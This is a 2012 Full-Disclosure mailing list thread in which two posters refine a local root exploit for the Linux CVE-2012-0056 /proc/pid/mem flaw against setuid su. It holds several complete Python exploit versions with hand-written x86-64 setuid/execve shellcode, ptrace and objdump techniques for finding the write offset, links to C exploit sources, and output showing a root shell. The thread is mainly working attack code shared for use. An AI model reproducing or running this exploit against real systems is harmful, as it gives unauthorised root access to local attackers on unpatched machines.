I really couldn't really decipher the python without squinting, and I decided I didn't really like this method of going about it; it seems a bit fuzzy. I want things exact. Presto. Presto exact. I have been awake for a while and things like "presto exact" now make sense in my head. Maybe yours isn't fuzzy. I'm not really certain (nor coherent).
So I coded up is something that waits on a pipe for the first printf to stderr, ptrace traversing using the syscall handler, and then after, it does a step at a time until it gets to an address below a massive threshold that is a "call" instruction. Instead of taking EIP here, which doesn't work if the next call is exit (ubuntu's su, though not 64bit gentoo's), I read for the 0xe8 call, and then the 4 bytes after that, and add it to EIP to get where it's going to call to. First time using ptrace. The result is this: http://git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c The four systems I've tested it on, it's completely accurate and very fast. Now adding the code to mempodipper. On Mon, Jan 23, 2012 at 21:42, sd <[email protected]> wrote: > ptrace aint exactly rocket science :) > this one is OCD friendly (no spraying & detects prefix length). > > looking forward to your C port (python aint exactly great for real > world use because of various deps). > > #!/usr/bin/python > # CVE-2012-0056 amd64 > # [email protected] > # > # hg clone https://bitbucket.org/haypo/python-ptrace > # (cd python-ptrace && ./setup.py install --home=~) > # hg clone https://code.google.com/p/python-passfd > # (cd python-passfd && ./setup.py install --home=~) > # PYTHONPATH=~/lib/python ./hurrdurr.py > from socket import * > from passfd import * > from os import * > from socket import * > from sys import * > from ptrace.binding import * > from time import * > > > if argv[-1]=='hax': > sk=int(argv[1]) > fd=open("/proc/%d/mem"%getppid(),O_WRONLY) > lseek(fd,int(argv[2]),0) > sendfd(sk,fd) > else: > r,w=pipe() > pid=fork() > if not pid: > dup2(w,2) > ptrace_traceme() > execl("/bin/su","su","h4x0rr") > wait() > while ptrace_getregs(pid).orig_rax not in (60,231): > ptrace_syscall(pid) > wait() > rip=filter(lambda x: x>0x00400000 and x<0x09000000, > [ptrace_peektext(pid, > ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0] > > > data=(ptrace_peektext(pid,(rip-4)&(~7))|ptrace_peektext(pid,(rip+4)&(~7))<<64) > > rip=((rip+(data>>(((rip-4)&7)*8)))&0xffffffff)-read(r,32).find('h4x0rr') > a,b=socketpair() > if not fork(): > execl("/usr/bin/python","python", > __file__,str(a.fileno()),str(rip),'hax') > dup2(recvfd(b)[0],2) > execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ > "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ > "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ > "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"); > > > 2012/1/23 Jason A. Donenfeld <[email protected]>: > > I started on a ptrace based way of finding things, but I'm a bit of a > novice > > in this area. It's not working yet, but progress is here: > > http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c > > > > Any pointers? > > > > > > On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld <[email protected]> > wrote: > >> > >> Well done; that's a nice trick. Not really a fan of "spraying" like > >> that (for irrational 'aesthetic' bullshitty reasons), but this is > >> quite nice. Still though, you have the lseek offset in there, which is > >> different for different executables. > >> > >> I'm sure there's a way to determine this without read access though -- > >> ptrace, for example, will make a suid binary loose its suidness, but > >> you could then (I think?) inquire about memory locations and maps. > >> Once you have the info you need, then you run su normally sans > >> ptracing in the exploit. Not sure if this works or not. I think there > >> are a few other similar things you can do when running suid code that > >> will make it loose suidness, and also a variety of inspection > >> techniques. > >> > >> On Mon, Jan 23, 2012 at 03:46, sd <[email protected]> wrote: > >> > 2012/1/23 Jason A. Donenfeld <[email protected]>: > >> >> NICE! Well, I guess posting that blog post defeated the point of not > >> >> publishing. :-D > >> > > >> > Thanks for compliance with first full-disclosure famwhoring rule: > >> > always post warez to make kids happy! :) > >> > > >> > On a related note, here goes my "private" version which relaxes the > >> > rules regarding file permissions on /bin/su (ie not world readable). > >> > This is to point out you can just overwrite 8kb of .text (default > >> > stderr buffer, more is possible, but without mere nops) instead of > >> > juggling with objdump. > >> > > >> > !/usr/bin/python > >> > # CVE-2012-0056 amd64 > >> > # [email protected] > >> > # > >> > # hg clone https://code.google.com/p/python-passfd > >> > # cd python-passfd; ./setup.py build_ext --inplace; cd src > >> > # mv ~/hurrdurr.py . > >> > # ./hurrdurr.py > >> > from socket import * > >> > from passfd import * > >> > from os import * > >> > from socket import * > >> > from sys import * > >> > if argv[-1]=='hax': > >> > sk=int(argv[1]) > >> > fd=open("/proc/%d/mem"%getppid(),O_WRONLY) > >> > lseek(fd,0x401000,0) > >> > sendfd(sk,fd) > >> > else: > >> > a,b=socketpair() > >> > if not fork(): > >> > execl("/usr/bin/python","python", > >> > __file__,str(a.fileno()),'hax') > >> > dup2(recvfd(b)[0],2) > >> > > >> > > > execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ > >> > "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ > >> > "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ > >> > "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"); > >> > > >> > > >> > > >> >> > >> >> So, here's my code: > >> >> http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c > >> >> > >> >> I wrote the shellcode by hand too, and you can grab the 32 and 64 bit > >> >> versions from that same tree. > >> >> > >> >> Have fun. > >> >> > >> >> > >> >> > >> >> BTW, before I'm asked, the reason why I don't hard code 12 for the > >> >> length of the su error string is that it's different on different > >> >> distros. > >> >> > >> >> On Mon, Jan 23, 2012 at 02:14, sd <[email protected]> wrote: > >> >>> 2012/1/23 Jason A. Donenfeld <[email protected]>: > >> >>>> Server presently DoS'd, or dreamhost is tweaking again. > >> >>> > >> >>> boring tl;dr - don't play kaminsky on us :) > >> >>> > >> >>> #!/usr/bin/python > >> >>> # CVE-2012-0056 amd64 > >> >>> # [email protected] > >> >>> # > >> >>> # hg clone https://code.google.com/p/python-passfd > >> >>> # cd python-passfd; ./setup.py build_ext --inplace; cd src > >> >>> # mv ~/hurrdurr.py . > >> >>> # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut > -d ' > >> >>> ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'` > >> >>> from socket import * > >> >>> from passfd import * > >> >>> from os import * > >> >>> from socket import * > >> >>> from sys import * > >> >>> from time import * > >> >>> if argv[-1]=='hax': > >> >>> sk=int(argv[1]) > >> >>> fd=open("/proc/%d/mem"%getppid(),O_WRONLY) > >> >>> lseek(fd,int(argv[2].split('x')[-1],16)-12,0) > >> >>> sendfd(sk,fd) > >> >>> sleep(1) > >> >>> else: > >> >>> a,b=socketpair() > >> >>> if not fork(): > >> >>> execl("/usr/bin/python","python", > >> >>> __file__,str(a.fileno()),argv[1],'hax') > >> >>> dup2(recvfd(b)[0],2) > >> >>> > >> >>> execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+ > >> >>> > "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+ > >> >>> > "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+ > >> >>> "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"); > >> >>> > >> >>> -- > >> >>> ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d > ' ' > >> >>> -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'` > >> >>> id > >> >>> uid=0(root) gid=1000(sd) > >> >>> > >> >>> > groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd) > >> > > >> > _______________________________________________ > >> > Full-Disclosure - We believe in it. > >> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > >> > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ >
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
